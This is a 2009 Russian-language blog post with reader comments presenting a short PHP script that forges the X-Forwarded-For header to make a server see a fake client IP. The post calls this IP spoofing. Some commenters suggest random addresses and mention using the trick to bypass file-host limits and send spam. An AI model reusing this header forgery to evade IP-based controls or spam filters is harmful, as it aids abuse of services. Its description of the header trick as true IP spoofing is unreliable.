Спуфер на PHP

Дата: Март 24, 2009

(8) комментариев

На самом деле я всегда думал, что это невозможно и не целесообразно, до тех пор пока не прочитал на форуме ксакепа одну интересную темку, которую большенство пользователей к сожалению обошли. Возможно это было связанно с тем что они незнали что такое спуфинг : ) так вот для тех кто незнает рассказываю: Спуфинг — это подмена ip адреса. Тоесть проведя подмену адреся я могу действовать от чужого имени например или получать доступ к ранее закрытым ресурсам.

приведу простой пример спуфера

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$hostname = gethostbyname('2ip.ru');

$responce = "";
$fsock    = fsockopen($hostname,80,$errnum,$errstr,2);
$headers  = "GET http://2ip.ru/ HTTP/1.1\n";
$headers .= "Host: 2ip.ru\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
$headers .= "Accept-Charset: utf-8;q=0.7,*;q=0.7\n";
$headers .= "X-Forwarded-For: 44.55.66.77\n";
$headers .= "Pragma: no-cachen";
$headers .= "Referer: http://www.codeismy.name\n";
$headers .= "Keep-Alive: 500\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite   ($fsock,$headers);
while    (!feof($fsock)) $responce .= fread($fsock,1024);
echo $responce;
?>

а теперь разберём по пунктам.

самая важная деталь тут $headers .= «X-Forwarded-For: 44.55.66.77\n»;

именно этот пакет отвечает за подмену ипшника. Где ip это 44.55.66.77

Его можно генерировать например функцией rand() или вписывать в рувчную :)

Ну вот в общемто и всё на сегодня :)

a

    Автор: Sergey




    8 комментариев на "Спуфер на PHP"

    Ростислав сказал:
    05.04.2009

    Неплохо бы было, если б автор написал уже готовый скрипт, который будет подставлять случайный ip из какой-то страны. Новичкам это будет полезно

    magistr_bender сказал:
    05.04.2009

    а что там сложного то?
    44.55.66.77 заменяем на «.rand(1,3).».».rand(1,3).».».rand(1,3).».».rand(1,3).»
    вот и всё

    Ростислав сказал:
    05.04.2009

    какое rand(1,3)? Может rand(1,255)?

    magistr_bender сказал:
    05.04.2009

    а ну да, точно )) я просто уже под вечер туплю..

    Ростислав сказал:
    05.04.2009

    Можно модифицировать код, чтоб Ip генерились только с определённой страны

    magistr_bender сказал:
    05.04.2009

    знаю, но мне то лениво геоАПИ искать :)
    новечку и этого хватит…
    кстати а ведь это идея.. надо по гео апи написать статью :)

    valenok сказал:
    05.04.2009

    А разве в этом случае
    getenv(«HTTP_X_FORWARDED_FOR»);
    и getenv(«REMOTE_ADDR»);
    вернут 44,55.66,77 ?

    magistr_bender сказал:
    05.04.2009

    честноговоря не проверял, но на пхп прокси этот прикол прокатывал для скачки файлов с файлообменников.. но это было достаточно давно :)
    а так же для рассылки спама тоже подходит.. сервера распознают как 44,55.66,77

    Продолжение дискуссии на форуме: link


    Вы можете продолжить обсуждение этой статьи на форуме


    Имя : 
    Почта : 
    Сайт : 
    Комментарий : 

    Проверка комментариев включена. Прежде чем Ваши комментарии будут опубликованы пройдет какое-то время.

    Создание сайта - Echo-group Раскрутка сайтов